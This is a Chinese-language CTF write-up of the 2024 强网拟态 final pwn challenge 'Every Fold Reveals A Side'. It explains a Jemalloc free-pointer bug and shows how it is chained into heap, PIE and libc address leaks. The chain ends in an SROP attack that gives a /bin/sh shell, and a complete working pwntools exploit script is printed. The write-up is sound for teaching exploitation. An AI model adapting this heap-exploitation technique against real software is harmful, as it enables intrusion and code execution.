[强网拟态2024 final] Jemalloc heap: Every Fold Reveals A Side详解
字数 1597 2025-08-22 18:37:15
Jemalloc堆利用技术详解:Every Fold Reveals A Side题目分析
1. 题目背景与核心机制
1.1 Jemalloc特性
本题的核心创新点在于使用了Jemalloc而非glibc默认的Ptmalloc,并利用了Jemalloc的一项关键特性:
- 自由释放特性:对于大小为
size的chunk A,free(&chunk A)到(&chunk A+size)范围内的任意地址都会释放整个chunk - 无chunk头:Jemalloc中不存在传统意义上的chunk头结构
1.2 内存模式切换机制
程序实现了三种内存模式(type0/1/2),通过fold功能自由切换:
types = {
"type0": 123,
"type1": 312,
"type2": 231
}
切换逻辑:
- 如果对应type不存在:初始化并申请所需内存块
- 如果type已存在:仅修改type号码和memory指针,指向对应的table
2. 程序功能分析
2.1 主要功能模块
- fold功能:切换内存模式
- Edit Memo:编辑memo chunk内容(type1时编辑0x48偏移处的指针内容)
- Show Memo:显示memo内容
- Free Memo:释放memo块
- do_func:调用当前type对应的函数指针(危险点)
- Free fun chunk:关键漏洞点
- Get Some Basic Info:查看table chunk的info元素
- Edit Basic Info:编辑basic info
2.2 关键漏洞点
Free fun chunk功能:
- 漏洞本质:free时未解引用指针
- 实际行为:释放的不是
p_fun_chunk,而是&p_fun_chunk - 结合Jemalloc特性:释放chunk任意部分都会导致整个chunk被释放
3. 攻击链构造
3.1 初始信息泄露
-
初始化type0,利用Free fun chunk功能释放其table chunk
choose_direction("type0") dele_game() -
初始化type2,获取被释放的table chunk,造成UAF
choose_direction("type2") -
切换到type0后使用show_basic_info泄露堆地址
choose_direction("type0") show_basic_info() p.recvuntil('fo:\n') p.recv(8) heap = u64(p.recv(8)) fake_chunk = heap - 0x6ff0 - 0x18 leak_addr = fake_chunk + 0x7018
3.2 PIE基地址泄露
-
再次初始化type2造成三块重叠
dele_game() choose_direction("type1") choose_direction("type2") -
在type2下修改type1的memo指针,指向堆上的fun_chunk函数指针
edit_basic_info(b'b'*0x28 + p64(0x100) + p64(leak_addr)) -
切换到type1泄露PIE基地址
choose_direction("type1") show_memo() p.recvuntil('ent:\n') elf.address = u64(p.recv(8)) - 0x15bd
3.3 Libc基地址泄露
-
修改type1的memo指针指向GOT表
choose_direction("type2") edit_basic_info(b'b'*0x28 + p64(0x100) + p64(elf.got['puts'])) -
切换到type1泄露libc地址
choose_direction("type1") show_memo() p.recvuntil('ent:\n') libc.address = u64(p.recv(8)) - libc.symbols['puts'] rdi_ret = libc.address + 0x000000000010f75b
3.4 SROP攻击构造
-
构造SROP链:
choose_direction("type2") edit_basic_info(b'b'*0x28 + p64(0x100) + p64(fake_chunk + 0x48)) choose_direction("type1") edit_memo(p64(fake_chunk + 0x48) + p64(0)*2 + p64(fake_chunk + 0x48 + 0x20 - 0x10) + p64(libc.symbols['setcontext'] + 61)) edit_memo(p64(fake_chunk + 0xa0)) edit_memo(p64(fake_chunk + 0xb0) + p64(rdi_ret) + p64(fake_chunk + 0xb0 + 0x10) + p64(libc.symbols['system']) + b'/bin/sh\x00') -
触发攻击:
do_func() p.interactive()
4. 关键技术点总结
4.1 Jemalloc利用技巧
- 任意地址释放:利用Jemalloc的自由释放特性,可以释放chunk范围内的任意地址
- UAF构造:通过不正确的释放和重新分配,制造重叠的内存块
- 信息泄露:利用重叠的内存块和未初始化的指针泄露关键地址
4.2 高级利用技术
- 多阶段信息泄露:分阶段泄露堆地址、PIE基地址和libc基地址
- SROP构造:利用setcontext+61的gadget实现栈迁移
- 函数指针劫持:通过修改函数指针控制程序流
4.3 防御绕过
- 绕过PIE:通过堆地址泄露计算关键偏移
- 绕过ASLR:通过GOT表泄露libc地址
- 无magic gadget利用:直接使用setcontext而非传统的free_hook+magic gadget
5. 完整EXP解析
from pwn import *
from std_pwn import *
p = getProcess("123", 13, './pwn')
context(os='linux', arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
types = {
"type0": 123,
"type1": 312,
"type2": 231
}
def choose_direction(type):
sla("Enter your choice >", "1")
sla("Which direction?", str(types[type]))
def edit_memo(content):
sla("Enter your choice >", "2")
sla("content > ", content)
def show_memo():
sla("Enter your choice >", "3")
def dele_memo():
sla("Enter your choice >", "4")
def do_func():
sla("Enter your choice >", "5")
def dele_game():
sla("Enter your choice >", "6")
def show_basic_info():
sla("Enter your choice >", "7")
def edit_basic_info(content):
sla("Enter your choice >", "8")
sla("content > ", content)
# 初始信息泄露
choose_direction("type0")
dele_game()
choose_direction("type2")
choose_direction("type0")
show_basic_info()
p.recvuntil('fo:\n')
p.recv(8)
heap = u64(p.recv(8))
fake_chunk = heap - 0x6ff0 - 0x18
leak_addr = fake_chunk + 0x7018
# PIE基地址泄露
dele_game()
choose_direction("type1")
choose_direction("type2")
edit_basic_info(b'b'*0x28 + p64(0x100) + p64(leak_addr))
choose_direction("type1")
show_memo()
p.recvuntil('ent:\n')
elf.address = u64(p.recv(8)) - 0x15bd
# Libc基地址泄露
choose_direction("type2")
edit_basic_info(b'b'*0x28 + p64(0x100) + p64(elf.got['puts']))
choose_direction("type1")
show_memo()
p.recvuntil('ent:\n')
libc.address = u64(p.recv(8)) - libc.symbols['puts']
rdi_ret = libc.address + 0x000000000010f75b
# SROP攻击构造
choose_direction("type2")
edit_basic_info(b'b'*0x28 + p64(0x100) + p64(fake_chunk + 0x48))
choose_direction("type1")
edit_memo(p64(fake_chunk + 0x48) + p64(0)*2 + p64(fake_chunk + 0x48 + 0x20 - 0x10) + p64(libc.symbols['setcontext'] + 61))
edit_memo(p64(fake_chunk + 0xa0))
edit_memo(p64(fake_chunk + 0xb0) + p64(rdi_ret) + p64(fake_chunk + 0xb0 + 0x10) + p64(libc.symbols['system']) + b'/bin/sh\x00')
# 触发攻击
do_func()
p.interactive()
6. 学习要点
- Jemalloc与Ptmalloc的区别:理解不同堆分配器的行为差异
- 漏洞链构造:如何将多个小漏洞串联成完整的攻击链
- 现代防护绕过:在PIE和ASLR保护下的利用技术
- SROP高级利用:setcontext在多版本libc中的应用
- 函数指针安全:理解不安全函数指针使用的危险性
通过本题可以深入理解Jemalloc的独特行为模式以及如何利用这些特性构造复杂的堆利用攻击链。